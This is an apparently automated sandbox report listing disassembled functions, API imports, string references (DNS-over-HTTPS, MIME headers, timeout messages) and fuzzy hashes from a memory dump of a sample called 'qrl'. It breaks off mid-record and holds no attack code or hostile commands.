Part of subcall function 00DF6FB0: fwrite.MSVCRT ref: 00DF7099

strlen.MSVCRT ref: 00E19173
strlen.MSVCRT ref: 00E191AC
strlen.MSVCRT ref: 00E191D7
strlen.MSVCRT ref: 00E19202
strlen.MSVCRT ref: 00E1922D
strlen.MSVCRT ref: 00E19258
htons.WS2_32(?), ref: 00E193EF

Strings

%s%02x%02x, xrefs: 00E19159, 00E1919C, 00E191C7, 00E191F2, 00E1921D, 00E19248, 00E19273, 00E1929D
bad error code, xrefs: 00E18FC5, 00E18FF1, 00E19030, 00E1905C
DOH A: %u.%u.%u.%u, xrefs: 00E19115
DOH: %s type %s for %s, xrefs: 00E18FF2, 00E1905D
%s, xrefs: 00E192B8
Could not DOH-resolve: %s, xrefs: 00E194F3
DOH Host name: %s, xrefs: 00E190B3
CNAME: %s, xrefs: 00E192F2
DOH AAAA: , xrefs: 00E19130
AAAA, xrefs: 00E18FE2, 00E18FF0, 00E1904D, 00E1905B
TTL: %u seconds, xrefs: 00E190C5

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: strlen$fwrite$htonsmemset
String ID: %s$%s%02x%02x$AAAA$CNAME: %s$Could not DOH-resolve: %s$DOH A: %u.%u.%u.%u$DOH AAAA: $DOH Host name: %s$DOH: %s type %s for %s$TTL: %u seconds$bad error code
API String ID: 2611945536-4053692942
Opcode ID: daf5d68963769aebda55eec875a5fbd081cb63c4ec455063acae0d2166348f8f
Instruction ID: 09b9adc395ad1ebf38b9464d0b5c081909e8782e0f61f0a2c52653a6623623d9
Opcode Fuzzy Hash: daf5d68963769aebda55eec875a5fbd081cb63c4ec455063acae0d2166348f8f
Instruction Fuzzy Hash: 47F1D8B1904244AFDB319F25DC85BEB77E5EF44309F044428FC99AA243E735AA54CBB2

Function 00DD20F0 Relevance: 36.4, APIs: 9, Strings: 11, Instructions: 1410stringCOMMON

Download Yara Rule

APIs

strncmp.MSVCRT ref: 00DD2218
strncmp.MSVCRT ref: 00DD222C

Strings

(nil), xrefs: 00DD2E49, 00DD2EDF
.%ld, xrefs: 00DD2CE4
%, xrefs: 00DD2B36
0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ, xrefs: 00DD2A2F, 00DD304F
0123456789abcdefghijklmnopqrstuvwxyz, xrefs: 00DD27C9, 00DD2A34, 00DD3056
0, xrefs: 00DD3108
I32, xrefs: 00DD2212
I64, xrefs: 00DD2226, 00DD2250
$, xrefs: 00DD21B0
%ld, xrefs: 00DD2C87
-, xrefs: 00DD2CF7

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: strncmp
String ID: $$%$%ld$(nil)$-$.%ld$0$0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ$0123456789abcdefghijklmnopqrstuvwxyz$I32$I64
API String ID: 1114863663-1693084657
Opcode ID: aab3452e121536d72af073e70590cfea96371bc7b6ae0650a6881df8b9967608
Instruction ID: f76d31b4d4f0b83d9a82268dd1c1fe3b5d33e7072a024093508e28058ad3a79b
Opcode Fuzzy Hash: aab3452e121536d72af073e70590cfea96371bc7b6ae0650a6881df8b9967608
Instruction Fuzzy Hash: D7B2E0719083418FD715DF18C884B7ABBE5EFA5324F280A2EE8D597390D371DA45CBA2

Function 00DE36A0 Relevance: 21.7, Strings: 17, Instructions: 457COMMON

Download Yara Rule

Strings

text/plain, xrefs: 00DE374E
; filename=", xrefs: 00DE3A0C, 00DE3A21
Content-Transfer-Encoding, xrefs: 00DE3AE2
Content-Type: %s%s%s, xrefs: 00DE3A93
form-data, xrefs: 00DE3B9B, 00DE3BB8
Content-Disposition, xrefs: 00DE3822
application/octet-stream, xrefs: 00DE37B6
multipart/form-data, xrefs: 00DE3B86
Content-Type, xrefs: 00DE36F2
attachment, xrefs: 00DE3850, 00DE3865
multipart/mixed, xrefs: 00DE37CA, 00DE3ABF
; name=", xrefs: 00DE39E4
; boundary=, xrefs: 00DE3A80, 00DE3A91
multipart/, xrefs: 00DE3ABA
8bit, xrefs: 00DE3B11, 00DE3B3E
Content-Disposition: %s%s%s%s%s%s%s, xrefs: 00DE3A2C
Content-Transfer-Encoding: %s, xrefs: 00DE3B12

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID:
String ID: 8bit$; boundary=$; filename="$; name="$Content-Disposition$Content-Disposition: %s%s%s%s%s%s%s$Content-Transfer-Encoding$Content-Transfer-Encoding: %s$Content-Type$Content-Type: %s%s%s$application/octet-stream$attachment$form-data$multipart/$multipart/form-data$multipart/mixed$text/plain
API String ID: 0-1595554923
Opcode ID: de7bdfb0fbb3232e5359e320af436dd3da321ad9271657d86c2f1beeb7be08c0
Instruction ID: 30a9ee68fc0b5d3d4b1d583b5b259c6843f39196a4acfde52144ca894bdfcbaf
Opcode Fuzzy Hash: de7bdfb0fbb3232e5359e320af436dd3da321ad9271657d86c2f1beeb7be08c0
Instruction Fuzzy Hash: 63D1D5B56043C4ABEB21BE27D88D73677D9AF41744F4D0469EC868B342E361DE448BB2

Function 00E166B0 Relevance: 21.4, APIs: 1, Strings: 13, Instructions: 446COMMON

Download Yara Rule

Strings

%02x:, xrefs: 00E167A8, 00E16836, 00E1688C
FALSE, xrefs: 00E167DD
0, xrefs: 00E16B10
TUUU, xrefs: 00E16859
GMT, xrefs: 00E16A8E
TUUU, xrefs: 00E16803
TRUE, xrefs: 00E167E2, 00E167EA
TUUU, xrefs: 00E16771
GMT, xrefs: 00E16B73
%.4s-%.2s-%.2s %.2s:%.2s:%c%c%s%.*s%s%.*s, xrefs: 00E16BD8
0, xrefs: 00E16B15
%s%lx, xrefs: 00E1696F
%u%.2s-%.2s-%.2s %.2s:%.2s:%.2s %.*s, xrefs: 00E16AD2

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID:
String ID: GMT$%.4s-%.2s-%.2s %.2s:%.2s:%c%c%s%.*s%s%.*s$%02x:$%s%lx$%u%.2s-%.2s-%.2s %.2s:%.2s:%.2s %.*s$0$0$FALSE$GMT$TRUE$TUUU$TUUU$TUUU
API String ID: 0-1939689028
Opcode ID: e3994bc743d9b1c53783c13cc8dd6df2dab0daa4c3d31d7df13949f100e33ff9
Instruction ID: ceb09590fc7c4ccee9be9fe9779d753bd34c0389338b32c3606f8fa199d5bf72
Opcode Fuzzy Hash: e3994bc743d9b1c53783c13cc8dd6df2dab0daa4c3d31d7df13949f100e33ff9
Instruction Fuzzy Hash: 49E1CD71B082149FD7148F28C8847F67B95EB8530CF18956EE889EB352E636CDC6C792

Function 00E1A7B0 Relevance: 19.7, APIs: 8, Strings: 3, Instructions: 497stringCOMMON

Download Yara Rule

APIs

strtol.MSVCRT ref: 00E1A981
strlen.MSVCRT ref: 00E1A9DC
strlen.MSVCRT ref: 00E1AC30
strlen.MSVCRT ref: 00E1AC54
strcpy.MSVCRT(00000000,?), ref: 00E1AC7A
strcpy.MSVCRT(00000000,?), ref: 00E1AC96

Strings

@*2v, xrefs: 00E1AA8F
&, xrefs: 00E1AC82
%%%02x, xrefs: 00E1AB85

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: strlen$strcpy$strtol
String ID: %%%02x$&$@*2v
API String ID: 2637003386-3848517699
Opcode ID: 48c08f8f2dac2fa860c54afbc446d6313312c8ceb71d0854b0f7d43550db8c16
Instruction ID: 20631ad8e0808a16f979aa6a1fc4112edd2053a68f112e3fc97806b4a04c02d1
Opcode Fuzzy Hash: 48c08f8f2dac2fa860c54afbc446d6313312c8ceb71d0854b0f7d43550db8c16
Instruction Fuzzy Hash: 6202E8B15052419FE7205F24D9457FA7BA5AF4030CF0C1834F99AA6252E73ED9E8C793

Function 00DD9A20 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 335COMMON

Download Yara Rule

APIs

memchr.MSVCRT ref: 00DD9A7D
memchr.MSVCRT ref: 00DD9BCB
_errno.MSVCRT ref: 00DD9CC5

Strings

0123456789, xrefs: 00DD9A78, 00DD9AA7, 00DD9D9B, 00DD9DC5
0123456789abcdef, xrefs: 00DD9BC6, 00DD9BD7
0123456789ABCDEF, xrefs: 00DD9BE3, 00DD9BF4

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: memchr$_errno
String ID: 0123456789$0123456789ABCDEF$0123456789abcdef
API String ID: 2043447294-3773776233
Opcode ID: 8dfa00e190eef970586b94c0a85d60352975868ecfab5749fbf7e211396bb7c6
Instruction ID: 61974dca8883ca90e2f11447fe6a9394516b1f836e4204119e3f195c9a7e88c8
Opcode Fuzzy Hash: 8dfa00e190eef970586b94c0a85d60352975868ecfab5749fbf7e211396bb7c6
Instruction Fuzzy Hash: DEB1A9716093458FD724CF28C0A4B6AFBE1EF95345F09882EE8C987381D776C949CB62

Function 00DC1F10 Relevance: 14.3, APIs: 3, Strings: 5, Instructions: 300COMMON

Download Yara Rule

APIs

Part of subcall function 00DD15C0: GetTickCount.KERNEL32 ref: 00DD15C0

memset.MSVCRT ref: 00DC20D4
fputs.MSVCRT ref: 00DC2255
fflush.MSVCRT ref: 00DC22B8

Strings

-, xrefs: 00DC218A
#, xrefs: 00DC2243
%%-%ds %%5.1f%%%%, xrefs: 00DC20E9
%*s, xrefs: 00DC2174
-=O=, xrefs: 00DC218F

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: CountTickfflushfputsmemset
String ID: %%-%ds %%5.1f%%%%$#$%*s$-$-=O=
API String ID: 6529526-1632668997
Opcode ID: b2d8d9f63d91e11d7c1d379475bfc6cce16f3d91bb2348d9829e8d3be86ec878
Instruction ID: ebeb45765166b3b05491db0e38e25b257d27fbf4f1ae8a528d7aab0839a2af3e
Opcode Fuzzy Hash: b2d8d9f63d91e11d7c1d379475bfc6cce16f3d91bb2348d9829e8d3be86ec878
Instruction Fuzzy Hash: CBC198716087019FC714DF2AC880A5AF7E2FFD8314F198A2EE89AC7790D630E9458B52

Function 00DEC770 Relevance: 12.1, APIs: 8, Instructions: 80encryptionCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00DEC7AD
CryptAcquireContextA.ADVAPI32(?,00000000,00000000,?,F0000000), ref: 00DEC7C4
CryptCreateHash.ADVAPI32(?,?,00000000,00000000), ref: 00DEC7E1
CryptHashData.ADVAPI32(?,?,?,00000000), ref: 00DEC7F3
CryptGetHashParam.ADVAPI32(?,00000004,?,?,00000000), ref: 00DEC80F
CryptGetHashParam.ADVAPI32(?,00000002,?,?,00000000), ref: 00DEC830
CryptDestroyHash.ADVAPI32(00000000), ref: 00DEC83E
CryptReleaseContext.ADVAPI32(?,00000000), ref: 00DEC84F

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: Crypt$Hash$ContextParam$AcquireCreateDataDestroyReleasememset
String ID:
API String ID: 2041421932-0
Opcode ID: 054329d04221e1a96c2b1aad6b072250865f264f758f47c697b66fb7f0a67211
Instruction ID: 84a2440d4f4a45acd6d91fb5219a8948d2eceacc4141f46948df7be3fcfe821e
Opcode Fuzzy Hash: 054329d04221e1a96c2b1aad6b072250865f264f758f47c697b66fb7f0a67211
Instruction Fuzzy Hash: FA214A70208341BBE720AF15DE49F1BBBE8FF84B84F14482DF69496194E7B2D844CB66

Function 00DF76C0 Relevance: 9.3, APIs: 3, Strings: 3, Instructions: 266stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00DF76D4
memcpy.MSVCRT(?,?,?), ref: 00DF789C
memcpy.MSVCRT(?,?,?), ref: 00DF79CA

Strings

Write callback asked for PAUSE when not supported!, xrefs: 00DF790B
Failed writing header, xrefs: 00DF791E
Failed writing body (%zu != %zu), xrefs: 00DF78F8

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: memcpy$strlen
String ID: Failed writing body (%zu != %zu)$Failed writing header$Write callback asked for PAUSE when not supported!
API String ID: 2619041689-2483876519
Opcode ID: df08b21614260945632706bae95294064d08538af9cd2eef6e134a0498a75567
Instruction ID: f6841c2b00eb21e1b088188439de1e3145c8a4249d8d3085e46735a78af82965
Opcode Fuzzy Hash: df08b21614260945632706bae95294064d08538af9cd2eef6e134a0498a75567
Instruction Fuzzy Hash: F491D57160C3099BDB219F65DC84BFAB7E5EF84344F1A802DEE8847241E775A941CB71

Function 00DD74E0 Relevance: 9.2, Strings: 7, Instructions: 406COMMON

Download Yara Rule

Strings

Internal error clearing splay node = %d, xrefs: 00DD8AD1
Resolving timed out after %d milliseconds, xrefs: 00DD76B7
In state %d with no conn, bail out!, xrefs: 00DD8CB8
*, xrefs: 00DD8C1E
Operation timed out after %d milliseconds with %I64d out of %I64d bytes received, xrefs: 00DD7CC4
Operation timed out after %d milliseconds with %I64d bytes received, xrefs: 00DD8101
Connection timed out after %d milliseconds, xrefs: 00DD7C65

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID:
String ID: *$Connection timed out after %d milliseconds$In state %d with no conn, bail out!$Internal error clearing splay node = %d$Operation timed out after %d milliseconds with %I64d bytes received$Operation timed out after %d milliseconds with %I64d out of %I64d bytes received$Resolving timed out after %d milliseconds
API String ID: 0-1633414443
Opcode ID: 7d295afdc3d1d5e348ce3c9bfa0a2975d84e4ba7ab5bc2d6d3b81c4be0302230
Instruction ID: e2f21630e7320d2485ef245c513e97d1de910c4b4d839fc9b24b130764575c39
Opcode Fuzzy Hash: 7d295afdc3d1d5e348ce3c9bfa0a2975d84e4ba7ab5bc2d6d3b81c4be0302230
Instruction Fuzzy Hash: 9DE19DB16047009FE7219F28D841B6BB7E5FF45304F08492EF999873A2EB31E9549B72

Function 00DC3700 Relevance: 9.1, APIs: 6, Instructions: 69processCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00DC3716
CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00DC3734
GetLastError.KERNEL32(00000008,00000000), ref: 00DC373E
Module32First.KERNEL32(00000000), ref: 00DC3759
Module32Next.KERNEL32(00000000), ref: 00DC3784
CloseHandle.KERNEL32(00000000,00000000), ref: 00DC379D

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: Module32$CloseCreateErrorFirstHandleLastNextSnapshotToolhelp32memset
String ID:
API String ID: 2996058108-0
Opcode ID: ace745b1a518935f83eec1392344c3d058188d66bd1384608ccb24d1b98e0d58
Instruction ID: 94618259eb0a940b4cb35892a2fee65838819781241d2c9fd1600b7185084283
Opcode Fuzzy Hash: ace745b1a518935f83eec1392344c3d058188d66bd1384608ccb24d1b98e0d58
Instruction Fuzzy Hash: D601D6F174030537E26071B56C89FEB318CDBD5364F194539F998C72C1E965EA0583B2

Function 00F7EE90 Relevance: 7.6, Strings: 6, Instructions: 129COMMON

Download Yara Rule

Strings

Auth, xrefs: 00F7EEE1
ineI, xrefs: 00F7EEC9
cAMD, xrefs: 00F7EEF7
ntel, xrefs: 00F7EED4
enti, xrefs: 00F7EEEC
Genu, xrefs: 00F7EEBE

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID:
String ID: Auth$Genu$cAMD$enti$ineI$ntel
API String ID: 0-1714976780
Opcode ID: 30a1b6f0e564be8d07df84ea30504acaa5bb7ec169232fbda98bf8fdb4b6cb7d
Instruction ID: a8f1cf4b0605c1217510e53e842135e658406b4d0437ecbf611ab2ff2b127659
Opcode Fuzzy Hash: 30a1b6f0e564be8d07df84ea30504acaa5bb7ec169232fbda98bf8fdb4b6cb7d
Instruction Fuzzy Hash: E0313877E545170BFB385838A8443AC20839398330F2AC7BBE53ED7AD5E568CD806292

Function 00DF73D0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 110networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(?,00000000,?,00000000), ref: 00DF74B1
send.WS2_32(?,?,?,00000000), ref: 00DF74DD
WSAGetLastError.WS2_32(?,?,-00000009,00E06F14,?,?,?,-00000009,?), ref: 00DF74F3

Strings

Send failure: %s, xrefs: 00DF7518

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: ErrorLastrecvsend
String ID: Send failure: %s
API String ID: 3418755260-857917747
Opcode ID: adebe8f057fb24791241d08713c15bd6cdbcd7df522f6bfae6ea8c328140f4cc
Instruction ID: 0fd10813fe370d9cec2ae798e9ac4f93c6832136a6288103294c73f257f5be37
Opcode Fuzzy Hash: adebe8f057fb24791241d08713c15bd6cdbcd7df522f6bfae6ea8c328140f4cc
Instruction Fuzzy Hash: 3E416D712082089FE710CF24DC84BB677E9FB89328F194668E9999B385E335ED11CB61

Function 00DC5A00 Relevance: 6.3, APIs: 2, Strings: 2, Instructions: 295stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00DC5A34
strncmp.MSVCRT ref: 00DC5A48

Strings

